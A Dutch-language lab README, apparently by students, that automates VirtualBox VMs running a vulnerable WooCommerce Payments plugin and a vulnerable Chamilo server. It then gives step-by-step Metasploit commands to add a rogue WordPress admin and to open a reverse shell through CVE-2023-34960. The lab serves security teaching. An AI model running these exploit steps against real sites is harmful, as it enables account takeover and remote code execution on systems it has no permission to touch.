Readme voor onze exploits

Auteurs: Arthur Van Ginderachter, Jaak Daemen, Renz De Baets, Bert Coudenys

In deze readme gaan wij uitleggen hoe je de exploit van WordPress kan gebruiken om een Admin account te maken en toegang te krijgen met admin level access op een WordPress server. En hoe je de exploit van Chamilo kan misbruiken.

Scripts en requirements voor het opzetten van de omgeving.

We hebben de omgeving opzetten geautomatiseerd aan de hand van scripts zowel PowerShell als bash. Binnen het .zip bestand zal u 8 bestanden vinden.

1. run_me.ps1
    - Dit PowerShell script is verantwoordelijk voor het opzetten van de 3 nodige VM's aan de hand van VBoxManage.
    - Dit PowerShell script zal ook de bash scripts uitvoeren en dus de volledige installatie automatiseren.
2. script1.sh
    - Dit bash script zal uitgevoerd worden door het run_me.ps1 script.
    - Dit bash script zal een databank en een WordPress server opzetten. Het zal ook de manuele installatie van WordPress overslaan en dit automatisch doen.
3. rootpromotie.sh
    - Dit bash script zal gekopieerd worden naar de kali linux machine en dan uitgevoerd worden door het run_me.ps1 script.
    - Dit bash script bevat commando's om ervoor te zorgen dat het root account geactiveerd wordt voor de Kali Linux vm.
4. guestupdate.sh
    - Dit script update de guest-additions van VirtualBox op de Ubuntu/Debian server (dit is nodig voor VBoxManage correct te kunnen gebruiken).
    - Dit bash script zal gekopieerd worden naar de Ubuntu server machine en dan uitgevoerd worden door het run_me.ps1 script.
5. woocommerce-payments.5.6.1.zip
    - Deze zip file bevat de verouderde en kwetsbare versie van een WooCommerce plugin.
    - BELANGERIJK! Pak deze zip NIET uit.
6. script2.sh
    - Dit bash script zal ook uitgevoerd worden door het run_me.ps1 script.
    - Het zal onze Chamilo omgeving opzetten met de datank en voert verdere configuraties uit.
7. chamilo.sql
    - Dit zal uitgevoerd worden door script2.sh.
    - Dit bestand zet de databank op voor Chamilo.
8. configuration.php
    - Dit zal uitgevoerd worden door script2.sh.
    - Dit PHP-bestand bevat PHP-code die wordt gebruikt om dynamische functionaliteit toe te voegen aan onze Chamilo webpagina.

Check je VirtualBox versie, indien mogelijk update deze naar de nieuwste versie.

Download ook deze drie .vdi files van OSBoxes, Zorg dat je altijd de 64 bit versie kiest!

1. Download de "23.04 Lunar Lobster" Ubuntu-Server
2. Download de "2024.1" Kali-Linux
3. Download de "Debian 11 Bullseye (Debian **server** versie)" Debain-server

Deze .vdi files mogen op uw toestel staan waar u wilt, maar hou de locatie goed bij. Pak nu alle .vdi's uit.

Opzetten van de omgeving

1. In een administrator PowerShell venster voer eerst volgende commando's uit:

   ```
   Set-ExecutionPolicy Unrestricted -Scope CurrentUser
   Set-ExecutionPolicy Unrestricted
   ```

   Deze dienen ervoor dat je straks "run_me.ps1" kunt uitvoeren in PowerShell.

2. Pak de .zip file die u gedownload heeft uit.

3. In de map "Shared-Folder" vindt u alle scripts. Voer enkel het "run_me.ps1" uit, dit via rechtermuisklik "Run with Powershell" (niet met PowerShell ISE).

4. Het script zal u vier absolute paden vragen:

   - Het pad van elk van de drie .vdi-bestanden.
   - Het pad van de "Shared-Folder", de map die u zojuist hebt gedownload en uitgepakt.

5. U moet ook de juiste ethernetadapter selecteren om te gebruiken.

   - Als u zich in een netwerk bevindt met authenticatie, waar het niet mogelijk is om meerdere IP-adressen te hebben op dezelfde NIC, zult u de omgeving niet kunnen opzetten.
   - Omdat onze VM's zijn ingesteld op een bridged adapter, zal dit niet mogelijk zijn.

6. Accepteer het installeren van Nuget services en sta ook updates toe indien nodig!

   - **(!!!sluit hierna u ps venster af en start terug opnieuw!!!)** Anders zal het script errors geven.

7. Zorg ervoor dat na het uitvoeren van het script de laatste regel in de console het volgende weergeeft:

```
CHAMILO: IP-adres van Debian-server: 172.31.32.247 #IP-adres dat logisch is
in jouw netwerk
CHAMILO: domeinn naam van chamilo webserver: jaakisgeenarthur.com
WORDPRESS: IP-Adres van Ubuntu-server: 192.168.69.69 #IP-adres dat logisch
is in jouw netwerk
WORDPRESS: domein naam van wordpress webserver: arthurisgeenjaak.com
```

Als dit niet het geval is, KAN dit betekent dat het hosts-bestand niet correct is aangemaakt. (controleeer dit)

Hier volgt een voorbeeld van hoe het einde van het script kan uitzien (indien er een fout is in geslopen):

```
CHAMILO: IP-adres van Debian-server: 172.31.32.247 #IP-adres dat logisch is
in jouw netwerk
CHAMILO: domeinn naam van chamilo webserver: jaakisgeenarthur.com
WORDPRESS: IP-Adres van Ubuntu-server: # fout dit is leeg
WORDPRESS: domein naam van wordpress webserver: # fout dit is leeg
```

U kan de meeste problemen oplossen door:

- Begin volledig opnieuw met voorkeur ook alle vms volledig verwijderen
- als alles perfect werkt maar de hosts file incorrect is op de Kali linux: voeg handmatig de waardes in van arthurisgeenjaak.com --> ip in `/etc/hosts` of het andere ip adres en domein naam

Misbruiken van de exploit in WooComerce a.d.h.v. Metasploit

Na het opzetten van de werkomgeving kan u de exploit gebruiken om een admin level user toe te voegen. Dit hebben wij gedaan via Metasploit.

Check of dat je de webpagina "arthurisgeenjaak.com" kan bereiken. Op "arthurisgeenjaak.com/wp-admin" inloggen kan met:arthur, wachtwoord: arthur

1. Open Metasploit op de Kali Linux en u zult een terminal te zien krijgen. In deze terminal kan u het volgende commando uitvoeren om de exploit te zoeken:

   ```
   search woocommerce
   ```

2. We zijn op zoek naar de exploit genaamd "auxiliary/scanner/http/wp_payments_add_user 2023-03-22". Gebruik voor het selecteren van de juiste exploit het commando:

   ```
   use #{numer van exploit. normaal 1}
   ```

3. Nu gaan we een aantal "set" commando's uitvoeren om Metasploit de correcte informatie te geven voor deze exploit. Om meer informatie te vinden over deze commando's en waarom ze nodig zijn kan je volgende commando's gebruiken:

   ```
   show options
   ```

   ```
   set RHOSTS arthurisgeenjaak.com
   set username #{Username van het nieuw admin account die u wilt maken}
   set password #{Password van het nieuw admin account die u wilt maken}
   ```

4. Ok, nu bent u klaar om de exploit effectief uit te voeren. Gebruik hiervoor het commando:

```
exploit
```

5. Na het uitvoeren hiervan, zal er een nieuw account aangemaakt zijn op de WordPress server. Op "arthurisgeenjaak.com/wp-login.php" kan je dan met het aangemaakte account inloggen. Je kan hierdoor misbruik maken van deze exploit door dat je op de server kwaadaardige acties kan uitvoeren.

Exploit van Chamilo

1. Op de Chamilo webpagina "jaakisgeenarthur.com" kan je inloggen met login: `admin`, wachtwoord: `Test123` dit kan je gewoon in een webbrowser doen.

Extra: als je ingelogd bent kan je controleren onder "Dashboard", dan onder het tablad "extensies" als je hieronder Chamilo "Rapid" ziet staan dan is de installatie succesvol.

2. Open Metasploit op de Kali Linux en zoek in de terminal naar de exploit van Chamilo.

```
search chamilo
```

3. De exploit die we nodig hebben is "exploit/Linux/http/chamilo_unauth_rce_cve_2023_34960", om de juiste exploit te selecteren in de terminal van Metasploit gebruik je het commando:

```
use #{nummer van de exploit, normaal 0}
```

4. Om extra info te verkrijgen omtrent de commando's die je kan gebruiken in Metasploit, kan je het volgende commando gebruiken:

```
show options
```

5. Instellen van onze remote host:

```
set RHOST jaakisgeenarthur.com
```

6. Het huidige IP adres te zien van de Ubuntu server:

```
ip -a
```

7. Voor verbinding te maken met (onze) Chamilo server heb je het IP adres nodig van de Ubuntu server, omdat dit een reverse shell is.

```
set lhost #{IP adres}
```

8. Om de exploit uit te voeren, geef het volgende commando in:

```
exploit
```

9. Met het volgende commando kan je de configuratie van Chamilo bekijken.

```
pwd
ls
```